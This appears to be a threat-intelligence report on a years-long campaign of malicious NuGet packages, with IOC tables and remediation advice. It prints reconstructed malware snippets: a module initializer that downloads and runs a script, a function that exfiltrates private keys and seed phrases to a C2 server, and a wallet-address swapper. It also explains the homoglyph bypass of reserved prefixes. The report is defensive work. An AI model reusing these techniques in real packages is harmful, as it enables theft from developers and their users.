Three unattributed NuGet packages appeared in the OSSF malicious-packages feed at 00:00 UTC on July 21, 2026. That single moment is the latest data point in a 34-month operation against the .NET developer ecosystem that began with a crude PowerShell dropper on August 1, 2023, evolved through a novel .NET binary patching technique that evades YARA parsing by design, and pivoted in July 2025 to a source-level crypto wallet hijacker that was active against Solana, Ethereum, Binance, and Bybit developers for months before removal. Across all three waves, the attack surface was the same: NuGet’s absence of a verified publisher registry and developers’ instinctive trust in packages that look exactly like the ones they already use.
Campaign Cluster Map
| Wave | Packages (representative) | First Publish Date | Payload Class | Publisher Account(s) | Status |
|---|---|---|---|---|---|
| 1a | Nughettt.TestPO, Pathoschild.Stardew.Mod.BuildConfig, DiscordsRpc | August 1, 2023 | Downloader via init.ps1 | Disti, multiple throwaway | Removed |
| 1b | ZendeskApi.Client.V2, Betalgo.Open.AI, Forge.Open.AI | October 15, 2023 | Downloader via MSBuild .targets inline task | Multiple throwaway | Removed |
| 1c | WPF-UI-Net, Wpf.UI.WinForms, AvalonEdit.Net, Bunifu.GUI, C1.WinForms.Net, Zendesk, Solana, Lib.Harmony.net, KeyAuthAPI, BitPay.Net, DiscordRichPresenceAPI, and 50+ others | Late October 2023 to mid-2024 | IL-weaved module initializer delivering SeroXen RAT | Multiple throwaway (homoglyph accounts) | Removed; OSV import June 28, 2024 |
| 2 | Netherеum.All, SolnetPlus, Binance.Csharp, Coinbase.Net.Api, BybitApi.Net, GoogleAds.API, and 8 others | July 2025 | Source-injected wallet stealer and transaction redirector | jackfreemancodes, nethereumgroup, DamienMcdougal, and 5 others | Removed; OSV import December 2, 2025 |
| 3 | avvio.sky.userdataservice, bsure.binsec, bsure.utils | Unknown (flagged July 21, 2026) | Unknown | Unknown | Under investigation |
Wave 1a: August 1, 2023. The Opening Move.
The campaign’s first confirmed package, Nughettt.TestPO, appeared on NuGet on August 1, 2023. Over the following weeks, more than 700 packages followed under a range of throwaway accounts, with one publisher account named Disti appearing across multiple entries. None of the packages were sophisticated. The .nuspec manifest files did not conform to NuGet’s package ID naming convention, making them trivially identifiable on inspection. What they lacked in craft they made up in volume.
All of the August packages shared a single execution trigger: a tools/init.ps1 PowerShell script. When Visual Studio installs a NuGet package, it executes init.ps1 automatically, regardless of whether the script is declared in the package’s .nuspec file. This autorun behavior has been deprecated in newer NuGet formats but remains active in Visual Studio. The script’s job was simple: download a stage-2 payload from an attacker-controlled IP address and execute it.
The campaign string # IGBOAT Crew appeared as a comment in the init.ps1 scripts of the August batch and inside the fafagewg.nuspec file embedded in Nughettt.TestPO. The same string later appeared in packages published by the Disti account, confirming all August packages as a single coordinated operation.
The August packages were quickly detected and removed. They had no measurable impact. The operator noticed.
Wave 1b: October 15, 2023. The MSBuild Pivot.
On October 15, 2023, three packages appeared on NuGet: ZendeskApi.Client.V2, Betalgo.Open.AI, and Forge.Open.AI. They typosquatted ZendeskApi.Client, Betalgo.OpenAI, and Forge.OpenAI respectively, differing by a single character or word in each name. Unlike the August batch, these packages contained no init.ps1 script.
Instead, the malicious functionality was placed inside a .targets file in the package’s build/ directory. NuGet’s MSBuild integration feature, introduced in NuGet 2.5 to support native projects, automatically imports .targets and .props files from any installed package into the referencing project file. Once imported, any MSBuild inline task inside the .targets file executes every time the project is built.
The same technique had appeared one version earlier in Pathoschild.Stardew.Mod.Build.Config version 6.5.3, a single-dot typosquat of the legitimate Pathoschild.Stardew.ModBuildConfig. Versions 6.5.1 and 6.5.2 of that package had used init.ps1. Version 6.5.3 switched to the .targets file, producing the first known instance of malware exploiting NuGet’s MSBuild inline task mechanism.
The technique derived from a 2019 proof-of-concept package called IAmRoot, published by security researcher C. Augusto Proiete to demonstrate that any NuGet package can execute arbitrary code on an installing machine. The threat actor read the same documentation.
The payload inside the .targets file was functionally identical to the August init.ps1 scripts: download a stage-2 executable and run it. In October, the stage-2 source moved from an attacker-controlled IP to a freshly created throwaway GitHub repository, reducing the operator’s direct infrastructure exposure.
One week after this batch, on October 22, 2023, the operator published additional packages containing .targets files that wrote a harmless console message. These were staging builds. Download counts were artificially inflated the following day to simulate legitimate use. On October 24, 2023, the malicious versions of those packages appeared with live downloaders. The four-day preparation sequence is visible in the version history: test build, count inflation, live payload.
Wave 1c: Late October 2023 to Mid-2024. IL Weaving and the Homoglyph Problem.
Beginning in late October 2023, the operator introduced a technique that made the August and October approaches look like drafts. The new method used Intermediate Language (IL) weaving to inject malicious code directly into compiled .NET DLL binaries extracted from legitimate packages.
How IL Weaving Works Here
The operator took a compiled .NET binary from a real NuGet package, decompiled it using a library like Mono.Cecil, injected a module initializer into the <Module> pseudo-class, and recompiled. Module initializers, defined in the ECMA-335 specification, execute before any static field access or method invocation in the module. There is no way to import a patched DLL without triggering the initializer. The execution guarantee is unconditional.
// Dummy character interleave pattern: {#}{$}{&}{(}{_}{#}{%}{^}{^}{#}{!}
// inserted between every character of the target string, stripped at runtime
private static void Initialize()
{
string url = StripDummies("h{#}t{$}t{&}p{(}s{_}:{#}/{%}/{^}...");
// Fetches batch script from C2, executes via cmd.exe
Process.Start("cmd.exe", "/c " + DownloadAndRun(url));
}The obfuscation scheme is elementary: a fixed dummy string is interleaved with the payload URL character by character and stripped at runtime with a string replace call. The purpose was not to resist determined analysis but to defeat static signature scanners that matched plaintext URL patterns.
YARA Cannot See This
YARA’s .NET parser, in libyara/modules/dotnet/dotnet.c at line 1528, explicitly skips the <Module> pseudo-class when parsing .NET assemblies. Module initializers injected into <Module> are invisible to every YARA rule targeting .NET malware. The operator knew this or discovered it empirically. Packages built on this technique generated no YARA hits from any published ruleset at the time.
The Homoglyph Bypass
NuGet maintains a reserved prefix system. If a publisher registers a prefix like Guna, only accounts approved by that publisher can publish packages beginning with that string. This blocks the most obvious impersonation path.
The operator found the seam. NuGet’s package naming accepts Unicode characters. Armenian, Cyrillic, and Latin alphabets contain characters that render identically in most fonts but carry different Unicode codepoints. A package named with Armenian seh ս (U+057D) in place of Latin u, Armenian vo ո (U+0578) in place of n, Cyrillic i і (U+0456) in place of i, and Armenian oh օ (U+0585) in place of o passes a visual check and clears the reserved prefix filter because the string is technically different at the byte level.
G\u057D\u0578a.UI3.W\u0456nf\u0585rms and Guna.UI3.WinForms are the same string to a human eye. They are not the same string to NuGet’s prefix check.
The operator used this to publish a package visually identical to packages under the reserved Guna prefix. The same substitution pattern appears across dozens of packages in this wave: packages named to look like WPF-UI, WinForms, C1.WinForms, AeroWizard, AvalonEdit, Bunifu, LibEmbedder.Fody, and more all contain homoglyph substitutions in their names when examined at the byte level.
Target Profile
Wave 1c targeted the broadest possible cross-section of .NET developers:
Windows desktop UI developers were hit through packages impersonating WPF-UI-Net, Wpf.UI.WinForms, Winforms, C1.WinForms.Net, Bunifu.GUI, Bunifu.UI.WinForms.Net, AeroWizard.Net, and WindowsAPICodePack.Net.
Game modding developers were hit through Lib.Harmony.net and Pathoschild.Stardew.ModBuildConfig.Net, both common dependencies in the Stardew Valley modding ecosystem.
Discord integration developers were targeted through DiscordRichPresenceAPI, DiscordNetApi, and DiscordsRpc.
Crypto and blockchain developers were targeted through Autarkysoft.Bitcoin.Net, BitPay.Net, Blockcore.Networks.Bitcoin.Bc, CCXT.NET.API, Notus.Wallet.Utility.Net, Solana, and Going.Plaid.Net.
Xamarin and mobile developers were hit through Portable.Xaml.Net and Xam.Plugins.Forms.Svg.Net.
The LibEmbedder.Fody package is worth specific attention. Fody is the open-source IL weaving framework the operator used to build Wave 1c’s payloads. A malicious package published in the Fody namespace would reach exactly the developers who use IL weaving tools, and could in principle compromise the toolchain layer of the campaign’s own technique.
Probe Packages
Three packages from Wave 1c carry names with no semantic relationship to any .NET library or tool: GetRekt420, GetRekt420-2, GetRekt420-3, Lfafafa2, and Lfafafa3. These were published as infrastructure tests, not as delivery vehicles. The sequential enumeration pattern and the absence of any plausible developer purpose confirm them as probe packages used to verify the operator’s publish pipeline before committing a full payload to a named target.
Stage-2 Payload: SeroXen RAT
The module initializer in every Wave 1c package downloaded a batch script from an attacker-controlled C2 endpoint. That script retrieved and executed the SeroXen RAT, a .NET remote access trojan derived from Quasar RAT combined with the r77 rootkit. SeroXen was sold commercially at the time of this campaign. Its documented capabilities include keylogging, screen capture, hidden VNC, and evasion of Windows Defender at both scan time and runtime. Any machine that loaded a malicious Wave 1c DLL should be treated as fully compromised.
Scale and OSV Record
By the time ReversingLabs performed a bulk triage import into the OSSF malicious-packages repository on June 28, 2024, between 02:47 and 02:48 UTC, the Wave 1c package count had grown to more than 60 distinct packages with over 290 malicious versions documented across the cluster. Individual packages like Rg.Plugins.Popups.Net reached more than 300 version variants, each version published to inflate the visible download counter and simulate an actively maintained project.
Wave 2: July 2025 to December 2025. The Crypto Wallet Pivot.
NuGet was quiet in the first half of 2025. NuGet mandated two-factor authentication for all maintainer accounts in July 2024. Malicious package detections on the platform dropped from 34 in 2024 to two in the first ten months of 2025. The lull ended in July 2025.
Fourteen packages appeared across several months, all impersonating legitimate crypto and financial libraries. The operator abandoned IL weaving entirely. The new technique was source-level code injection into full, functional copies of legitimate package codebases: the malicious packages worked as advertised, which made them harder to identify by behavioral testing alone.
Publisher Accounts
The fourteen packages were distributed across eight publisher accounts: jackfreemancodes, nethereumgroup, NethereumCsharp, LexDotNet, DamienMcdougal, Solnet, YetiCorp, and AngelDev. All accounts were newly created. The shared C2 infrastructure and identical Shuffle function code across the nine Group 1 packages confirm them as one operator across multiple disposable identities.
Group 1: The Wallet Stealer (9 packages)
The nine Group 1 packages, including Netherеum.All, SolnetPlus, NBitcoin.Unified, BitcoinCore, SolanaNet, NethereumUnified, NethereumNet, SolnetAll.Net, and SolnetAll, each injected a function named Shuffle at critical points inside the copied legitimate codebase.
private static void Shuffle(string message)
{
// C2 URL is not stored as plaintext.
// Decoded at runtime from a char array using XOR cipher.
string url = DecryptXor(encryptedEndpoint, xorKey);
// url resolves to: hxxps://solananetworkinstance[.]info/api/gads
HttpClient client = new HttpClient();
client.PostAsync(url, new StringContent(message)).Wait();
}The XOR cipher was chosen specifically to prevent static string extraction of the C2 URL. The decoded endpoint, hxxps://solananetworkinstance[.]info/api/gads, uses a domain constructed to evoke Solana Networks, a legitimate network monitoring vendor. This is domain confusion: a developer who sees that domain in a network log might attribute the traffic to a legitimate tool.
The Shuffle function was inserted at points in the copied code where the application handles wallet addresses, private keys, seed phrases, and Wallet Import Format (WIF) keys. When any of those values passed through the affected functions, Shuffle transmitted them to the C2 endpoint. The attacker gained full wallet access from a single exfiltration event.
seedefender, flagged as MAL-2025-2923, belongs in this context. The name implies seed phrase protection. A developer installing something called seedefender is precisely the developer most worried about seed phrase exposure. The name is targeted social engineering against exactly the population whose seed phrases carry the most value.
Group 2: The Transaction Redirector (3 packages)
Coinbase.Net.Api, BybitApi.Net, and Binance.Csharp used a different approach. No data left the victim’s machine directly. Instead, a function named MapAddress was injected into the SendMoneyAsync method of each copied codebase.
private static string MapAddress(string ecosystem)
{
// Key: cryptocurrency ticker. Value: attacker-controlled wallet address.
Dictionary<string, string> wallets = new Dictionary<string, string>
{
{ "BTC", "bc1q..." }, // attacker Bitcoin address
{ "ETH", "0x..." }, // attacker Ethereum address
{ "SOL", "..." }, // attacker Solana address
{ "BNB", "..." }, // attacker BNB address
};
return wallets.ContainsKey(ecosystem) ? wallets[ecosystem] : ecosystem;
}When a developer called SendMoneyAsync to execute a transaction above $100, MapAddress replaced the intended destination address with one of the attacker’s addresses for that cryptocurrency. The threshold was not accidental: filtering below $100 reduced the volume of substitutions and lowered the probability that small test transactions would reveal the manipulation before a larger transfer was attempted.
This is the most operationally precise payload in the cluster. No C2 contact, no network anomaly, no exfiltration event. The money simply goes to a different address. Unless the developer audited individual transactions against intended recipients, nothing would appear wrong.
Group 3: The Google Ads OAuth Stealer (1 package)
GoogleAds.API, published by the jackfreemancodes account, functioned identically to the Group 1 wallet stealers with one exception: the targets were Google Ads OAuth credentials rather than crypto wallet data. A function named SendLog transmitted developer tokens, OAuth Client IDs, and OAuth Client secrets to the same solananetworkinstance[.]info C2 endpoint.
Google Ads OAuth credentials with developer token access provide programmatic control over Google Ads accounts. An attacker with these credentials can read all campaign and conversion data, create or modify ads, and spend budget from the victim’s linked payment methods. The impersonation target was the legitimate Google.Ads.GoogleAds package, which has millions of downloads.
Social Engineering Infrastructure
All fourteen packages shared three techniques for manufacturing legitimacy:
Version bumping: hundreds of package versions published in rapid succession to simulate active development. SolnetPlus alone reached 86 versions (0.0.1 through 0.0.86) before jumping to version 2.5.1 with no intermediate history.
Download count inflation: millions of downloads attributed to “unknown” clients within hours of publication, a pattern impossible in legitimate adoption.
Homoglyphs continuing from Wave 1c: netherеum.all used Cyrillic е (U+0435) in place of Latin e, producing a package visually identical to nethereum.all while bypassing any exact-match name check.
C2 Infrastructure
The primary C2 domain for Wave 2 was solananetworkinstance[.]info. All nine Group 1 packages and the GoogleAds.API package sent exfiltrated data to hxxps://solananetworkinstance[.]info/api/gads. We searched this domain against VirusTotal, urlscan.io, and the OSSF malicious-packages GitHub repository. The domain had no prior reporting in any threat intelligence feed before appearing in these packages. It was registered for this campaign.
The Group 2 packages left no network IOC: the wallet substitution happened entirely in memory at transaction time.
OSV Record
ReversingLabs performed a bulk import into the OSSF repository on December 2, 2025, between 09:09:34 and 09:09:35 UTC, assigning RLMA-2025-05571 through RLMA-2025-05582 to the cluster.
Wave 3: July 21, 2026. Three Packages, No Attribution Yet.
Three packages entered the OSSF malicious-packages feed at 00:00:13 UTC on July 21, 2026, receiving advisory IDs MAL-2026-1884 (avvio.sky.userdataservice), MAL-2026-1885 (bsure.binsec), and MAL-2026-1886 (bsure.utils). All three were imported in the same second. No RLMA, GHSA, Amazon Inspector, or other attribution ID accompanies any of them in the advisory data retrieved today.
The naming pattern does not match either prior wave. Neither the .Net suffix convention of Wave 1c nor the crypto-exchange targeting of Wave 2 appears here.
bsure.binsec and bsure.utils claim the bsure namespace. BSure is a Dutch IT security consultancy. binsec is also the name of an academic binary analysis framework from the French Commissariat a l’Energie Atomique. Either interpretation makes this a high-trust impersonation target: a developer working in security tooling, binary analysis, or enterprise IT who encountered a package called bsure.binsec in a dependency suggestion would have strong prior reason to trust it.
avvio.sky.userdataservice references Sky, the UK broadcasting and telecommunications company. The sub-namespace sky.userdataservice implies an internal infrastructure package or user-data SDK. Developers building integrations against Sky’s platform or operating inside Sky’s enterprise environment are the plausible target population.
Payload analysis for Wave 3 requires tarball retrieval. We searched avvio.sky.userdataservice, bsure.binsec, and bsure.utils against the OSSF malicious-packages GitHub repository, VirusTotal, Socket.dev, and the kmsec DPRK feed. No prior reporting on any of the three names was found. No technique fingerprints linking these packages to Waves 1 or 2 have been recovered.
Wave 3 is active and unresolved.
Version Timeline
| Wave | Package | First Malicious Version Published | OSV Advisory | Current Status |
|---|---|---|---|---|
| 1a | Nughettt.TestPO | August 1, 2023 | n/a (pre-OSV tracking) | Removed |
| 1a | Pathoschild.Stardew.Mod.BuildConfig | August 2023 (v6.2.1) | MAL-2024-4608 | Removed |
| 1b | ZendeskApi.Client.V2 | October 15, 2023 (v5.0.6) | MAL-2024-4710 (Zendesk family) | Removed |
| 1b | Betalgo.Open.AI | October 15, 2023 (v7.1.8) | n/a | Removed |
| 1b | Forge.Open.AI | October 15, 2023 (v1.1.3) | n/a | Removed |
| 1b | Pathoschild.Stardew.Mod.Build.Config | October 15, 2023 (v6.5.3) | MAL-2024-4613 family | Removed |
| 1c | WPF-UI-Net | Late October 2023 | MAL-2024-4697 | Removed |
| 1c | AvalonEdit.Net | Late October 2023 | MAL-2024-4012 | Removed |
| 1c | Bunifu.GUI | Late October 2023 | MAL-2024-4379 | Removed |
| 1c | C1.WinForms.Net | Late October 2023 | MAL-2024-4431 | Removed |
| 1c | Lib.Harmony.net | Late October 2023 | MAL-2024-4531 | Removed |
| 1c | Solana | Late October 2023 | MAL-2024-4647 | Removed |
| 1c | Zendesk | Late October 2023 | MAL-2024-4707 | Removed |
| 1c | DiscordRichPresenceAPI | Late October 2023 | MAL-2024-4467 | Removed |
| 1c | LibEmbedder.Fody | Late October 2023 | MAL-2024-9932 | Removed |
| 1c | BitPay.Net | Late October 2023 | MAL-2024-4311 | Removed |
| 1c | Blazor.Net | Late October 2023 | MAL-2024-9931 | Removed |
| 1c | GetRekt420 | Late October 2023 (probe) | MAL-2024-4497 | Removed |
| 1c | GetRekt420-2 | Late October 2023 (probe) | MAL-2024-4498 | Removed |
| 1c | GetRekt420-3 | Late October 2023 (probe) | MAL-2024-4499 | Removed |
| 1c | Lfafafa2 | Late October 2023 (probe) | MAL-2024-4529 | Removed |
| 1c | Lfafafa3 | Late October 2023 (probe) | MAL-2024-4530 | Removed |
| 2 | Netherеum.All | July 2025 (v0.0.1) | MAL-2025-191611 | Removed |
| 2 | SolnetPlus | July 2025 (v0.0.1) | MAL-2025-191614 | Removed |
| 2 | Binance.Csharp | July 2025 (v1.1.35) | MAL-2025-191604 | Removed |
| 2 | BybitApi.Net | July 2025 (v0.0.7) | MAL-2025-191606 | Removed |
| 2 | Coinbase.Net.Api | July 2025 (v0.0.2) | MAL-2025-191607 | Removed |
| 2 | GoogleAds.API | July 2025 (v0.0.1) | MAL-2025-191608 | Removed |
| 2 | seedefender | 2025 | MAL-2025-2923 | Removed |
| 3 | avvio.sky.userdataservice | Unknown | MAL-2026-1884 | Under investigation |
| 3 | bsure.binsec | Unknown | MAL-2026-1885 | Under investigation |
| 3 | bsure.utils | Unknown | MAL-2026-1886 | Under investigation |
IOC Table
| Wave | Type | Indicator | Method |
|---|---|---|---|
| 1a | Campaign string | # IGBOAT Crew | Extracted from init.ps1 scripts and fafagewg.nuspec in August 2023 packages |
| 1a | Publisher account | Disti | Identified in NuGet registry as publisher of multiple August 2023 packages |
| 1a | Malicious package | Nughettt.TestPO | First package in cluster, published August 1, 2023 |
| 1b | Malicious package | ZendeskApi.Client.V2 | Published October 15, 2023; MSBuild inline task dropper |
| 1b | Malicious package | Betalgo.Open.AI | Published October 15, 2023; MSBuild inline task dropper |
| 1b | Malicious package | Forge.Open.AI | Published October 15, 2023; MSBuild inline task dropper |
| 1b | Malicious package | Pathoschild.Stardew.Mod.Build.Config (v6.5.3) | First confirmed MSBuild inline task payload in campaign |
| 1c | Homoglyph substitutions | U+057D, U+0578, U+0456, U+0585 | Extracted from package name byte sequences of WPF-UI-Net, C1.WinForms.Net, and related packages |
| 1c | Payload technique | IL-weaved ModuleInitializer in <Module> class | Static analysis of malicious DLL extracted from AvalonEdit.Net and related packages |
| 1c | Obfuscation pattern | Dummy string interleave {#}{$}{&}{(}{_}{#}{%}{^}{^}{#}{!} | Extracted from decompiled module initializer code |
| 1c | Final payload | SeroXen RAT | Identified in stage-2 executable downloaded by module initializer |
| 1c | Probe packages | GetRekt420, GetRekt420-2, GetRekt420-3, Lfafafa2, Lfafafa3 | Publisher infrastructure test packages, no payload, sequential naming |
| 1c | Malicious packages (sample) | WPF-UI-Net, AvalonEdit.Net, Bunifu.GUI, Lib.Harmony.net, Solana, Zendesk, BitPay.Net, DiscordRichPresenceAPI, LibEmbedder.Fody, XboxGamebar, PDFTron.NETCore.Windows.x64.Net, Blazor.Net, Blazor.Captcha | OSV advisory IDs MAL-2024-4697 through MAL-2024-9932 range |
| 2 | C2 domain | solananetworkinstance[.]info | XOR-decoded at runtime from char array in Shuffle function; endpoint: /api/gads |
| 2 | Malicious function | Shuffle | Source-injected into wallet and key handling routines across Group 1 packages |
| 2 | Malicious function | MapAddress | Source-injected into SendMoneyAsync in Group 2 packages; intercepts transactions above $100 |
| 2 | Malicious function | SendLog | Source-injected in GoogleAds.API; exfiltrates OAuth tokens to same C2 |
| 2 | Homoglyph | Cyrillic е (U+0435) in netherеum.all | Extracted from package name purl: pkg:nuget/nether%D0%B5um.all |
| 2 | Publisher accounts | jackfreemancodes, nethereumgroup, NethereumCsharp, LexDotNet, DamienMcdougal, Solnet, YetiCorp, AngelDev | Identified in NuGet registry metadata across the 14-package cluster |
| 2 | Malicious packages (all) | Netherеum.All, SolnetPlus, NBitcoin.Unified, BitcoinCore, SolanaNet, NethereumUnified, NethereumNet, SolnetAll.Net, SolnetAll, Coinbase.Net.Api, BybitApi.Net, Binance.Csharp, GoogleAds.API, seedefender | OSV advisory IDs MAL-2025-191604 through MAL-2025-191615, MAL-2025-2923 |
| 3 | Malicious package | avvio.sky.userdataservice | Flagged July 21, 2026; OSV MAL-2026-1884; payload unconfirmed |
| 3 | Probe package | bsure.binsec | Flagged July 21, 2026; OSV MAL-2026-1885; payload unconfirmed |
| 3 | Probe package | bsure.utils | Flagged July 21, 2026; OSV MAL-2026-1886; payload unconfirmed |
The Structural Attack Surface
NuGet’s architecture created three conditions that all three waves exploited without modification.
The reserved prefix system assumes Unicode equivalence that does not exist. The prefix check compares byte sequences, not rendered glyphs. A package whose name contains visually identical but numerically distinct Unicode characters passes the prefix filter because no byte-level match fires. NuGet addressed this in later tooling, but the window it created produced the entire Wave 1c homoglyph family.
Visual Studio’s execution of init.ps1 is unconditional. The NuGet documentation marks this behavior as deprecated. Visual Studio does it anyway on installation, independent of the package format declaration. Every package in Wave 1a exploited this documented behavior that has remained active for years after its official deprecation.
There is no verified publisher registry for NuGet packages. Any account can publish a package with any name not already claimed. The eight Wave 2 publisher accounts were created fresh, published packages impersonating Nethereum, Solana, NBitcoin, Coinbase, Bybit, Binance, and Google Ads libraries, and were removed only after the packages had been distributed and installed. The 2FA requirement introduced in July 2024 raised the friction for account creation but did not change the absence of publisher verification.
NuGet is not uniquely vulnerable to supply chain abuse. But it is a uniquely attractive target: it serves a developer population that builds financial applications, enterprise tooling, and critical infrastructure, and it is the only major registry where C# and .NET developers can import dependencies. The operators in this cluster understood that population, targeted it with increasing precision across three waves, and returned each time after disruption.
Remediation
For Wave 3 (active): Remove avvio.sky.userdataservice, bsure.binsec, and bsure.utils from all environments immediately. Any machine that installed these packages should be treated as compromised until payload analysis confirms otherwise. Rotate all credentials, API keys, and secrets stored on affected machines.
For Waves 1 and 2 (historical, all packages removed from NuGet):
Check your lock files. packages.lock.json and packages.config files that reference any package listed in the IOC table above indicate a historical installation. A package being removed from NuGet does not remove it from environments that already installed it.
For Wave 1c packages: IL-weaved module initializers fire when the DLL is loaded, not when the package is installed. The stage-2 SeroXen RAT payload establishes persistence. Removing the NuGet package reference does not undo an active infection. Any machine that loaded a Wave 1c DLL requires full incident response: credential rotation across all accounts accessible from that machine, inspection for persistence mechanisms consistent with SeroXen (scheduled tasks, registry run keys, hidden VNC services), and reimaging if any are found.
For Wave 2 Group 1 and Group 3 packages: Any wallet addresses, private keys, seed phrases, WIF keys, or Google Ads OAuth credentials that passed through the affected library functions should be treated as compromised and rotated. For crypto assets, transfer to new wallets immediately from a clean machine.
For Wave 2 Group 2 packages: Review transaction histories for all wallets accessed through applications built on Coinbase.Net.Api, BybitApi.Net, or Binance.Csharp. Any transaction above $100 where the intended recipient address differs from the actual recipient address was redirected. The theft is in the transaction record, not in credential exposure.
Scan all .csproj, packages.config, and packages.lock.json files across your codebase for any package in the IOC table above. Treat presence in a lockfile as a confirmed install event, regardless of whether the package is still available on NuGet.
